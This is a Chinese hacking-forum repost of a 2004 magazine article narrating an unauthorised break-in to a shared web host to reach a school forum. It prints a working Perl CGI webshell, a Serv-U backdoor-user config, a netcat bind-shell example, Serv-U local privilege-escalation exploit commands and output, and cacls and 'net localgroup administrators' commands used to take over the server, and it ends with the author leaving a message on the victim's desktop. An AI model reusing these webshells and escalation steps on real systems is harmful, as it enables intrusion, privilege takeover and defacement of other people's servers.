中国网络渗透测试联盟
标题:
剑走偏锋——灵巧的旁注攻击
[打印本页]
作者:
admin
时间:
2012-9-15 14:11
标题:
剑走偏锋——灵巧的旁注攻击
剑走偏锋——灵巧的旁注攻击
: A7 X/ N2 `1 z5 v! { ]
本文作者:angel
+ P* I% ~# g# p1 \4 z
文章性质:原创
) i, s- v7 `* y
发布日期:2004-11-09
; {9 c. s9 V3 x8 O
注意:
! P6 Q$ S' p0 p6 U+ p
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
; ~; |9 \! K; W& z8 b* e
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
0 @' z% k1 Y' c! e1 U0 F
: g3 U% z5 I5 y) E6 H9 U
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
. A6 Z$ V7 o P
) Z ]- e; Y F+ v) p3 w
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
0 U$ _& l' ~: H+ r' v3 a
2 j* E4 U& j+ j7 [
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
3 @2 U* F4 N4 M# T, v+ ?; z
+ a+ w8 C2 I8 @2 F
一次看见了一个学校论坛(
http://www.school.com
),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
) B2 T% D$ ?( T; J* x5 v+ F
+ B% f+ k. x: g8 d& A
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有
http://whois.webhosting.info
这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
1 l/ h$ Q8 A8 z) {: ^+ L
+ p- i* ?/ O; Y
没有目的的跳转目录着……
- P6 |1 N2 ^5 i$ i) r3 X
6 T; D+ N1 h! ^7 @
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
" g' f: k: a* u# i- I! N# T& B
7 j9 r7 V: V" r8 N" n
结束了吗?不,我试着 FTP 一下:
' R( w! x3 j' F. j. v! y& `
8 m( a% F9 H7 E. D
Microsoft Windows 2000 [Version 5.00.2195]
! G8 b" I. x" }
(C) 版权所有 1985-2000 Microsoft Corp.
0 z! |" Q9 P' k Z
2 z$ o& F+ ?9 l; {( y( f: V0 ]; X
C:\Documents and Settings\Administrator>ftp
www.school.com
( @. E4 X/ n# g8 V. C' [ p
Connected to www. school.com.
5 P1 n+ L+ T0 x- m
220 Welcome to FTP Server...
! f; U3 J4 I7 T1 ^2 |+ l% V
User (
www.bjtrq.com:
(none)):
- W8 x/ j" U# {7 K; ?; v3 p. P
331 User name okay, need password.
+ d' Y" d0 F/ z( |
Password:
# C3 k4 r; Z$ v' H! g" A0 C
530 Not logged in.
5 R8 d/ V4 [/ \: [; X# _$ d+ v" p
Login failed.
# z% H# e1 G- x0 I
ftp> bye
) i& h7 f; \" V+ C2 D
221 Goodbye!
3 R, h5 O8 T$ P( p
' k) r# @7 e* M2 |! `: N
. V5 x: a( I+ z; W* Q
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
# [& K5 Y$ G6 j' N/ }, a2 f
: d5 Q* H( q; p
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
6 ^' h& ?) ]% J( z. v+ y; M, ]2 H
$ P, z# a7 X1 u- Y& G' \/ T
Application Data
- k8 I: e+ c9 B3 Z0 N1 Q7 ?
Documents
a( L" S9 t$ k& }
DRM
3 f: V, l5 C) ]3 \/ V* [4 [
Favorites
1 @( ]3 s* S0 K3 q
Templates
; ?+ F6 z2 L6 ?8 t' [ f
「开始」菜单
: R9 I: X: V5 I ?8 m4 h/ h
桌面
+ d' ?* V+ P. T% [ Z; o& H# B8 @
. {3 p0 H" \ O$ n. A% G8 V
& p8 _2 r, O8 d3 Q
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
7 {/ p6 N* D% I# p5 ~, X8 f" n
+ d/ [/ ^2 X2 z: |* P8 T
ActiveState ActivePerl 5.8
e: G" g3 ?* N
Administrative Tools
3 H7 A# r' U$ q" _
Deerfield.com
# L3 r% I! j- x0 W
DTemp
" s* U( K% y, F, J3 \
IPSentry
& c$ j* x1 W; f) d3 U- x
MBM 5
) e: t: @; C: N: y$ F/ Z
NetMeter
( i# q5 ~' O0 R& g( C
Network ICE
8 Z$ z% F6 j: O4 h
Persits Software AspEmail
7 ~1 @/ L6 b1 I( h2 U. {
Persits Software AspJpeg
0 f1 t4 z: v1 l1 o- a0 s/ ?
Serv-U FTP Server
( G- h; S8 x* G7 z; h
Symantec Client Security
9 K3 G* Q! X a$ O: e$ W1 s# K7 `$ d
Windows 优化大师
- t8 }2 w* I4 r
WinRAR
; Z S7 I0 f) i0 w
启动
5 I( w$ `: `$ `1 Q. a
管理工具
/ `# j* B* H! j: x; ]
附件
/ m/ t4 H/ u+ X3 E
" m5 ^% B7 h j( D9 w$ H* M
1 `' S1 S- E. g g L, e' L
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
8 X. o& O9 S: |; X' u! A
9 `' U$ R7 \: _* _' N
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
+ c/ g1 L; ^. {
, _& R$ C; p2 d3 R+ O
User281=angel|1|0
4 R; w* W' D4 G9 _; ?
' g* U$ c% E$ s, @6 J
; `$ `, k1 J; V5 d( B
然后加上
5 ^* t$ m* K+ E
) j. [( D# f0 D/ _
[USER=angel|1]
) P1 O, c3 L9 [
Password=ng98F85379EA68DBF97BAADCA99B69B805
5 Q4 r) f$ S. f! _; \; L
HomeDir=D:\websites
p" X- i% }- B& F4 Q' {
RelPaths=1
& i8 T) ?& \1 \7 B/ K
TimeOut=600
+ B9 ^3 u: R) G9 L# V Z3 w* l
Maintenance=System
$ C) r$ k+ p* Z# r; t/ X
Access1=D:\websites|RWAMELCDP
4 e# }% a8 J H" d& L8 m
SKEYValues=
* E; d* X# l0 e' S! V+ h
' b& B$ e% } s9 J, n% ^2 c
4 G6 [$ Q. d% I& K/ Z7 z
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
- y9 @; x! h1 _/ {
! {* B; U9 K' r; t! ^" ]8 ]6 l
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
( M& A+ ~+ s4 f! X
]2 b: h0 D# J
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
1 \! A( B+ a4 E9 M8 Y
2 B1 q8 C6 u6 y
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
% o) A E4 g& ~
; q( J' t! |$ R9 i0 P; S/ x2 E
#!/usr/bin/perl
1 V1 J' M2 S9 U6 M, c& J" Y
binmode(STDOUT);
+ \8 v) ?2 c2 ?9 P$ j1 ~
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
! J' U' {+ E4 N
$_ = $ENV{QUERY_STRING};
! ~* w% T8 ^* o( o R6 l
s/%20/ /ig;
, u, I( R6 D% P0 G$ Z
s/%2f/\//ig;
~5 a1 L$ b" C( T- x; B# |
$execthis = $_;
% v& q$ K! g* P1 f
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
# g9 {9 B; t2 V( \; c0 D+ L: `
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
9 a/ ^7 o. d* {, h# F) R9 l3 `
system($execthis);
2 h, z# m; H7 Q% P: a
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
J/ a4 m, y1 w4 ^* Y) ?
close(STDERR);
3 N# a5 [! i- J0 z) |8 Z2 a
close(STDOUT);
_3 E) Q! R0 R
exit;
$ K {( R. P2 o2 L: ~( u4 H3 @1 e4 U
/ U9 j9 R6 R! P" ~; c
- x' B! {: Y& G: K
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
9 W1 U! X3 D5 p: R* o" o4 B6 r
3 a* i2 O9 b6 D* X
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
1 Q4 ^2 U+ k+ z! ^6 B! k. }
) E; E1 `! F: t3 u! e
http://anyhost//cmd.pl?d:\user\bin\su.exe
\3 A/ a& A3 V! s
9 Q: B- C+ w6 E1 A% k6 g
0 Q) n2 V1 }7 g4 N; d
返回:
% N8 Y+ k8 G: ^, w0 K6 ^* o* D' r
1 \/ @9 ^1 \2 G: f% Q, q4 C
Serv-u >3.x Local Exploit by xiaolu
# q# A3 j5 U2 \
. z6 }# l" g- z2 U+ v! j( ?/ F; [2 b7 W
USAGE: serv-u.exe "command"
7 t+ c% Q% |* X5 w ~8 n
& s) U e$ V) a4 U' [ L& g
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
& ~& E& H# T- i
" p. j. W) M8 b" g n8 i* j' X( r6 y
$ p7 K+ f! G# l1 a) P6 i( g
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
) P1 V: Z% f9 k. k
; ]( n$ ]4 x; @) T
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
- i! H& R5 h0 y8 h
6 ]4 M) M* H5 G1 Q- y
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
8 J5 s) y5 l- P7 U# L3 r. f! y, B8 }
/ `" p* `. ~. F P* C
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
' g( ? g* M, ` M* t7 k, k
# ^% s" I1 A7 q& ?9 n4 [4 E
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
5 b# S/ t" [- Z, b) P" }
& }7 O q8 c1 }: T' V
+ c# V# c- D3 l1 z6 [
返回下面的信息,就表示成功了!!!
1 e( F0 L! `3 a
4 z. Q* \2 i4 L$ Z @2 s, `
Serv-u >3.x Local Exploit by xiaolu
w) B; u1 Q8 N) H+ {- `7 o- z( D
" A/ }0 U, {/ b( @' M
<220 Serv-U FTP Server v5.2 for WinSock ready...
2 m3 \3 T; J2 c7 P/ }
x. d5 f4 v* [: K+ r
>USER LocalAdministrator
) k6 m5 l [8 P& Y# j1 k C
9 z4 Q% R# F7 a" }. S& k9 W
<331 User name okay, need password.
& e! f! O" R* G" ~9 w# j* j% Z
$ j0 D" C( { Y
******************************************************
& {: q8 I ]5 Y1 k/ v3 t, e
" f* r) h8 d- f
>PASS #l@$ak#.lk;0@P
- k+ T4 R, B; F% X' w4 }/ s$ H. H
: R/ [, k) |' \& C* g
<230 User logged in, proceed.
1 n$ e: F$ \& I; g C. {
2 u& ?) m; g j, r
******************************************************
z1 i+ p- V) @1 H2 W* Q
/ U q' J4 w! d! z: z: i+ p& T
>SITE MAINTENANCE
: \/ e; n0 d* u8 d7 H) T, r+ Y' T
, `4 a5 L& l2 D
******************************************************
7 `+ Y- H& C( d8 B: {
: N R) X) d( K- T3 p0 f
[+] Creating New Domain...
: P: R9 f" R' J2 I
! p% q9 f+ x9 E+ M! S
<200-DomainID=2
2 p& p. X2 t5 X0 D, P* _
1 s. f4 }8 k* e: [
<220 Domain settings saved
- q5 H2 _0 X- f( p
6 K# s1 N6 V! E7 L; k0 f$ [1 C
******************************************************
2 g( F# ^' o* d+ y" n
' e, k9 B, h& ?
[+] Domain xl:2 Created
: V- O1 }8 k) n0 C; Y2 ~
, \8 {* N, q- U" g
[+] Creating Evil User
7 S( E2 {& A3 O0 R
" \1 }2 c1 Q, B% F/ }# C
<200-User=xl
2 n- _1 O8 f5 k( C
! ~( a# M" E% y" `1 w
200 User settings saved
8 |& q+ p4 h5 X6 W* r% o3 q
6 B/ k$ B" M4 h# o1 B) ?; T, T6 B
******************************************************
5 F- ~( C: {, k h' k7 H
w6 W4 a% N5 [
[+] Now Exploiting...
7 q. h/ s5 R9 ]3 A
% L; I% r |; u4 G1 e$ D+ h/ V
>USER xl
# G7 N6 A5 Y1 H) ^; X0 k9 X ^
. l" e' N! t( K, c7 x+ i3 `) q7 [$ k
<331 User name okay, need password.
. Y% E% }0 A v" S. s: y0 z, L. u
% S4 z. r; B: ?3 k1 Q# H
******************************************************
6 U0 y' ]) s0 u; | R
3 {; X* Z! {# G/ K
>PASS 111111
6 i* X" ]6 e% f3 w" R* [
1 q# u% M( r: F9 x7 t
<230 User logged in, proceed.
8 I5 O) q; `& j( M4 f4 t
! \4 X6 L1 l) L0 z5 k7 j
******************************************************
( G; D7 d9 Q& {; f [3 ^ {
0 a! s1 q8 h$ e
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
; {* B7 W4 ^ J1 Z! y0 R; g% G
- ~* q+ c: A' ~# C( W& B7 a" }* W
<220 Domain deleted
5 h5 @- h% Y1 Z
8 K* J7 g" D4 [8 w8 y/ t
******************************************************
5 ~/ k" w* c7 }) T3 T9 a2 b9 K
, B% d" P5 |! ^; O8 l- x% A
8 ?2 \6 ^6 M- K' p! L, I
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
F1 _. \0 B, D( g
5 g# L6 _" e. w4 ^, _. O M
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
( |% Y. C- p% y; B/ E% k3 r* k# v; O
4 \1 B' c; Q" L9 S
8 @' g* r4 }: ^
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
C* ?: z, M. _6 l4 h9 M
7 F( I+ c8 I, J- R
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
/ g# t4 C7 V/ {& z& i0 S. W
$ C7 y. W/ y5 X, k4 z
4 K* g$ K) ?* b) Z" P
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2